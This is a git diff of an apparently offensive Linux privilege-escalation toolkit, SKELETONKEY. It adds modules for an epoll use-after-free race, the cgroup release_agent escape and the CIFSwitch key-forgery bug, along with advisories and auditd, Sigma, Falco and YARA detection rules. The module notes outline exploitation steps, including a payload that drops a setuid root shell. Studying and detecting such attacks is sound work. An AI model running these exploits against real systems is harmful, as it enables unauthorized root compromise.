||||
"is not VM-verified — honest EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] bad_epoll: to complete: port the public kernelCTF "
|
||||
"cross-cache reclaim (eventpoll slab → pipe buffers) + "
|
||||
"/proc/self/fdinfo arbitrary read + ROP for "
|
||||
"CVE-2026-46242.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] bad_epoll: probe setup failed (child rc=%d)\n",
|
||||
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: Linux-only module (epoll teardown race "
|
||||
"UAF) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] bad_epoll: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules -----
|
||||
*
|
||||
* Honesty note (see MODULE.md): epoll is one of the most heavily used
|
||||
* kernel interfaces on Earth. epoll_create1 / epoll_ctl / close from an
|
||||
* unprivileged process is the steady-state behaviour of nginx, systemd,
|
||||
* every language runtime's event loop, etc. There is NO clean behavioural
|
||||
* signature for this exploit, and it rarely trips KASAN. These rules are
|
||||
* therefore intentionally weak/structural — the reliable signal is the
|
||||
* post-exploitation privilege transition, not the epoll traffic. Tune
|
||||
* hard or you will drown in false positives.
|
||||
*/
|
||||
static const char bad_epoll_auditd[] =
|
||||
"# Bad Epoll — epoll teardown race UAF (CVE-2026-46242) — auditd rules\n"
|
||||
"# There is no high-fidelity syscall signature: epoll_create1/epoll_ctl\n"
|
||||
"# are ubiquitous and benign. The only reliable smoking gun is an\n"
|
||||
"# unprivileged process transitioning to euid 0 without going through a\n"
|
||||
"# setuid binary. Pair with kernel-log monitoring for KASAN/oops lines.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n"
|
||||
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n";
|
||||
|
||||
static const char bad_epoll_sigma[] =
|
||||
"title: Possible CVE-2026-46242 Bad Epoll teardown race UAF\n"
|
||||
"id: 7c1e9d2a-skeletonkey-bad-epoll\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Bad Epoll (CVE-2026-46242) is a race UAF in fs/eventpoll.c reachable\n"
|
||||
" by any unprivileged user via epoll_create1/epoll_ctl/close. There is\n"
|
||||
" no reliable syscall-level signature — epoll traffic is ubiquitous and\n"
|
||||
" the exploit rarely trips KASAN. This rule keys on the POST-exploitation\n"
|
||||
" tell: a previously-unprivileged process gaining euid 0 with no setuid\n"
|
||||
" execve in its ancestry. Expect false positives from legitimate\n"
|
||||
" privilege-management daemons; correlate with kernel oops/BUG lines.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
|
||||
" unpriv: {auid|expression: '>= 1000'}\n"
|
||||
" condition: uid0 and unpriv\n"
|
||||
"level: medium\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46242]\n";
|
||||
|
||||
static const char bad_epoll_falco[] =
|
||||
"- rule: Unprivileged process gained root, no setuid exec (possible CVE-2026-46242)\n"
|
||||
" desc: |\n"
|
||||
" Bad Epoll (CVE-2026-46242) epoll teardown race UAF has no clean\n"
|
||||
" behavioural signature — epoll syscalls are ubiquitous. This rule\n"
|
||||
" fires on the post-exploitation effect: a non-root process becoming\n"
|
||||
" root outside a setuid binary. False positives: privilege-management\n"
|
||||
" daemons, su/sudo flows (filter those). Correlate with kernel oops.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
|
||||
" not proc.is_setuid = true and user.uid != 0\n"
|
||||
" output: >\n"
|
||||
" Non-setuid unprivileged->root transition (possible CVE-2026-46242 Bad Epoll)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46242]\n";
|
||||
|
||||
const struct skeletonkey_module bad_epoll_module = {
|
||||
.name = "bad_epoll",
|
||||
.cve = "CVE-2026-46242",
|
||||
.summary = "epoll ep_remove-vs-__fput teardown race UAF (\"Bad Epoll\") — frees a live struct eventpoll; unprivileged, no userns needed",
|
||||
.family = "eventpoll",
|
||||
.kernel_range = "6.4 <= K < fix (introduced 58c9b016e128 / 6.4); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected",
|
||||
.detect = bad_epoll_detect,
|
||||
.exploit = bad_epoll_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel — no unprivileged-userns/CONFIG stopgap applies (epoll needs none) */
|
||||
.cleanup = NULL, /* trigger creates only throwaway epoll fds in a fork-isolated child; no host artifacts */
|
||||
.detect_auditd = bad_epoll_auditd,
|
||||
.detect_sigma = bad_epoll_sigma,
|
||||
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
|
||||
.detect_falco = bad_epoll_falco,
|
||||
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 6.4 introduced AND below the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) — no userns or CONFIG probe, because epoll is reachable by every unprivileged user. exploit() forks a CPU-pinned child that builds the epoll race pair (a waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a hard-bounded number of times (48 attempts / 2s), widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. It is deliberately UNDER-DRIVEN: it does not grind the race to a win, does not perform the cross-cache reclaim, and does not bundle the /proc/self/fdinfo arbitrary-read + ROP root-pop (per-kernel offsets refused); the trigger is reconstructed from the public kernelCTF PoC, not VM-verified. Telemetry footprint is nearly invisible: a burst of epoll_create1/epoll_ctl/dup/close from one process (indistinguishable from any event-loop program) and, only if the race actually fires on a vulnerable host, a possible KASAN oops or silent corruption (the bug rarely trips KASAN). No persistent files. The reliable detection signal is the post-exploitation euid-0 transition, not the epoll activity — see the shipped rules. Lowest --auto safety rank in the corpus: a kernel race that frees a live struct file is the least predictable thing here.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_bad_epoll(void)
|
||||
{
|
||||
skeletonkey_register(&bad_epoll_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* bad_epoll_cve_2026_46242 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef BAD_EPOLL_SKELETONKEY_MODULES_H
|
||||
#define BAD_EPOLL_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module bad_epoll_module;
|
||||
|
||||
#endif
|
||||
@@ -38,7 +38,6 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -46,6 +45,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -61,7 +65,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||
{5, 4, 179},
|
||||
{5, 10, 100},
|
||||
{5, 15, 23},
|
||||
{5, 16, 9},
|
||||
{5, 16, 7}, /* Debian tracker: earlier than 5.16.9 in stable */
|
||||
{5, 17, 0}, /* mainline */
|
||||
};
|
||||
|
||||
@@ -71,44 +75,40 @@ static const struct kernel_range cgroup_ra_range = {
|
||||
sizeof(cgroup_ra_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
/* The unprivileged-userns precondition is now read from the shared
|
||||
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||
* probes once at startup via core/host.c. The previous per-detect
|
||||
* fork-probe helper was removed. */
|
||||
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
@@ -154,7 +154,10 @@ static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -303,6 +306,34 @@ static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
|
||||
* mount are Linux-only kernel surface; the release_agent primitive is
|
||||
* structurally unreachable elsewhere. Stub out cleanly so the module
|
||||
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||
* dev boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
|
||||
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cgroup_ra_auditd[] =
|
||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||
@@ -328,6 +359,36 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
static const char cgroup_release_agent_yara[] =
|
||||
"rule cgroup_release_agent_cve_2022_0492 : cve_2022_0492 container_escape\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0492\"\n"
|
||||
" description = \"cgroup v1 release_agent payload + dropped setuid shell artifacts\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $payload = \"/tmp/skeletonkey-cgroup-payload.sh\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-cgroup-sh\" ascii\n"
|
||||
" $mnt = \"/tmp/skeletonkey-cgroup-mnt\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cgroup_release_agent_falco[] =
|
||||
"- rule: cgroup v1 mount by non-root with release_agent write\n"
|
||||
" desc: |\n"
|
||||
" A non-root process inside a userns mounts cgroup v1 and\n"
|
||||
" writes to a release_agent file. CVE-2022-0492 trigger:\n"
|
||||
" release_agent runs as init-ns root when cgroup empties.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = mount and evt.arg.fstype = cgroup and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" cgroup v1 mount by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid target=%evt.arg.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [container, mitre_privilege_escalation, T1611, cve.2022.0492]\n";
|
||||
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
@@ -340,8 +401,10 @@ const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.cleanup = cgroup_ra_cleanup,
|
||||
.detect_auditd = cgroup_ra_auditd,
|
||||
.detect_sigma = cgroup_ra_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = cgroup_release_agent_yara,
|
||||
.detect_falco = cgroup_release_agent_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
# cifswitch — CVE-2026-46243 ("CIFSwitch")
|
||||
|
||||
The kernel's `cifs.spnego` request-key type trusts userspace-forged
|
||||
authority fields, letting the root `cifs.upcall` helper be coerced into
|
||||
loading an attacker NSS module as root.
|
||||
|
||||
## The bug
|
||||
|
||||
`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
|
||||
kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
|
||||
perform a SPNEGO/Kerberos exchange. The key *description* carries
|
||||
authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
|
||||
that `cifs.upcall` reads as trusted, kernel-originating inputs.
|
||||
|
||||
The flaw: the kernel never verified the request actually came from the
|
||||
in-kernel CIFS client. Userspace can create keys of this type directly
|
||||
through `add_key(2)` / `request_key(2)`, supplying all those fields. By
|
||||
forging a description and manipulating user + mount namespaces, an
|
||||
unprivileged user makes `cifs.upcall` trust attacker-controlled state and
|
||||
load a malicious NSS shared library as root → root code execution.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw age | ~19 years (predates key-type origin checks) |
|
||||
| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
|
||||
| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
|
||||
| NVD class | CWE-20 (Improper Input Validation) |
|
||||
| CISA KEV | no (as of disclosure) |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
|
||||
the version-only verdict; confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
|
||||
vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
|
||||
isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
|
||||
both the version and the userspace path line up. The precondition probe
|
||||
can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
|
||||
or `0` (force absent).
|
||||
|
||||
`exploit()` fires the non-destructive primitive: `add_key(2)` of a
|
||||
forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
|
||||
immediately. A clean accept is the witness that userspace can forge the
|
||||
authority-bearing key type. The full root-pop (namespace switch +
|
||||
malicious NSS load) is **not** bundled until VM-verified — honest
|
||||
`EXPLOIT_FAIL` without a euid-0 witness.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
|
||||
until unmount + `rmmod cifs` or reboot.
|
||||
|
||||
## Credit
|
||||
|
||||
Asim Manizada (2026-05-28). See `NOTICE.md`.
|
||||
@@ -0,0 +1,92 @@
|
||||
# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
|
||||
request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
|
||||
created by **userspace** (via `add_key(2)` / `request_key(2)`) without
|
||||
verifying that the request originated from the in-kernel CIFS client. The
|
||||
key description carries authority-bearing fields — `pid`, `uid`,
|
||||
`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
|
||||
helper treats as trusted, kernel-originating inputs. An unprivileged
|
||||
local user forges such a description and, combined with user + mount
|
||||
namespace manipulation, coerces `cifs.upcall` into loading an
|
||||
attacker-controlled NSS shared library as root → local privilege
|
||||
escalation to root.
|
||||
|
||||
It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
|
||||
key-type origin checks added to the keyrings subsystem later. NVD class:
|
||||
**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
|
||||
|
||||
**Preconditions:** the `cifs` kernel module available, `cifs-utils`
|
||||
installed (so `cifs.upcall` is present), and the `cifs.spnego`
|
||||
request-key rule active. Default-vulnerable distributions reported
|
||||
include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
|
||||
Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
|
||||
with a working proof-of-concept published the same day.
|
||||
|
||||
- Red Hat advisory (RHSB-2026-005):
|
||||
<https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
|
||||
- BleepingComputer write-up:
|
||||
<https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
|
||||
- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
|
||||
("smb: client: reject userspace cifs.spnego descriptions"), merged
|
||||
7.1-rc5.
|
||||
- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
|
||||
(bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to Asim
|
||||
Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` gates on the kernel version (the Debian backport thresholds
|
||||
above) **and** the presence of the vulnerable userspace path
|
||||
(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
|
||||
kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
|
||||
Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
|
||||
|
||||
`exploit()` fires only the reachable, **non-destructive** part of the
|
||||
primitive: it attempts to register a forged-but-benign `cifs.spnego` key
|
||||
as the unprivileged user via `add_key(2)` — which instantiates the key
|
||||
directly and does **not** invoke `cifs.upcall`, so it loads nothing and
|
||||
spawns no privileged helper — and revokes the key immediately. A clean
|
||||
accept is the empirical witness that the missing-origin-validation flaw
|
||||
is present. It then **stops**: the namespace-switch + malicious-NSS-load
|
||||
chain that actually lands a root shell is target/config-specific and is
|
||||
**not** bundled until it can be verified end-to-end against a real
|
||||
vulnerable VM, in keeping with the project's no-fabrication rule.
|
||||
`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
|
||||
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(blocklists the `cifs` module — the vendor-recommended runtime
|
||||
mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
|
||||
namespace logic, no shellcode.
|
||||
|
||||
## Verification status (partial)
|
||||
|
||||
Verified **2026-06-08** on **Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic**
|
||||
(QEMU/HVF, x86_64):
|
||||
|
||||
- `modprobe cifs` registers the `cifs.spnego` key type (dmesg:
|
||||
`Key type cifs.spnego registered`) — `cifs-utils` is **not** required to
|
||||
reach the primitive.
|
||||
- An **independent** `python3` `ctypes` probe calling
|
||||
`add_key("cifs.spnego", <forged uid/creduid/upcall_target>)` was
|
||||
**ACCEPTED** (a plain `user`-key control was also accepted), and the
|
||||
module's own `exploit()` independently reported **primitive CONFIRMED**
|
||||
then the honest `EXPLOIT_FAIL`.
|
||||
- `detect()` returned `PRECOND_FAIL` with `cifs-utils` absent and
|
||||
`VULNERABLE` under `SKELETONKEY_CIFS_ASSUME_PRESENT=1`.
|
||||
|
||||
**Still pending** (so this stays 🟡 and is *not* counted as a verified
|
||||
end-to-end CVE): (a) confirming `add_key` is **rejected** on a *patched*
|
||||
kernel (≥ 6.12.90 / 7.0.10) — i.e. that the probe distinguishes
|
||||
fixed-from-vulnerable rather than the key type always permitting userspace
|
||||
creation; and (b) the full namespace + malicious-NSS root-pop, which
|
||||
remains unbundled.
|
||||
@@ -0,0 +1,419 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
|
||||
* type accepts key descriptions created by *userspace* (via add_key(2) /
|
||||
* request_key(2)) without verifying the request originated from the
|
||||
* in-kernel CIFS client. Those descriptions carry authority-bearing
|
||||
* fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
|
||||
* root-privileged `cifs.upcall` helper trusts as kernel-originating.
|
||||
* An unprivileged user forges a description and — combined with user +
|
||||
* mount namespace manipulation — coerces `cifs.upcall` into loading an
|
||||
* attacker-controlled NSS shared library as root → local root.
|
||||
*
|
||||
* Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
|
||||
* ~19-year-old bug: the cifs spnego upcall predates the key-type origin
|
||||
* checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
|
||||
* 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
|
||||
* NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* Structural logic flaw — no offsets, no race, no shellcode. detect()
|
||||
* gates on (a) the kernel version (Debian-tracked backports below) and
|
||||
* (b) the presence of the vulnerable userspace path: the `cifs.upcall`
|
||||
* helper / `cifs.spnego` request-key rule. A vulnerable kernel without
|
||||
* cifs-utils is not reachable via this technique, so that case is
|
||||
* PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
|
||||
* non-destructive part of the primitive — it attempts to register a
|
||||
* forged-but-benign `cifs.spnego` key as the unprivileged user (via
|
||||
* add_key(2), which does NOT invoke cifs.upcall) and observes whether
|
||||
* the kernel accepts a userspace-originated description — then STOPS.
|
||||
* The namespace-switch + malicious-NSS-load that turns that into a
|
||||
* root shell is target/config-specific and is not bundled until it can
|
||||
* be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
|
||||
* witness; never fabricates root.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 5.10.x : K >= 5.10.257 (bullseye)
|
||||
* 6.1.x : K >= 6.1.174 (bookworm)
|
||||
* 6.12.x : K >= 6.12.90 (trixie)
|
||||
* 7.0.x : K >= 7.0.10 (forky / sid); mainline fixed 7.1-rc5
|
||||
* Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
|
||||
* through to the version-only verdict — confirm empirically.
|
||||
*
|
||||
* Preconditions: cifs kernel module available + cifs-utils installed
|
||||
* (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
|
||||
* Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
|
||||
* = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
|
||||
* posture better than a local file probe can (also drives unit tests).
|
||||
*
|
||||
* arch_support: any. Keyring + namespace logic; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* keyring syscalls live in libkeyutils, not glibc — call them directly.
|
||||
* The asm-generic numbers below match x86_64 / arm64 / most arches; fall
|
||||
* back only when the toolchain headers don't already define them. */
|
||||
#ifndef SYS_add_key
|
||||
#define SYS_add_key 248
|
||||
#endif
|
||||
#ifndef SYS_keyctl
|
||||
#define SYS_keyctl 250
|
||||
#endif
|
||||
|
||||
/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
|
||||
#ifndef KEYCTL_REVOKE
|
||||
#define KEYCTL_REVOKE 3
|
||||
#endif
|
||||
#ifndef KEY_SPEC_PROCESS_KEYRING
|
||||
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||
#endif
|
||||
|
||||
typedef int sk_key_serial_t;
|
||||
|
||||
static sk_key_serial_t sk_add_key(const char *type, const char *desc,
|
||||
const void *payload, size_t plen,
|
||||
sk_key_serial_t keyring)
|
||||
{
|
||||
return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
|
||||
payload, plen, keyring);
|
||||
}
|
||||
static long sk_keyctl_revoke(sk_key_serial_t key)
|
||||
{
|
||||
return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
|
||||
* mainline 7.1-rc5). These are the authoritative thresholds
|
||||
* (security-tracker.debian.org). Branches Debian doesn't ship fall
|
||||
* through to the version-only verdict in detect(). */
|
||||
static const struct kernel_patched_from cifswitch_patched_branches[] = {
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 174}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
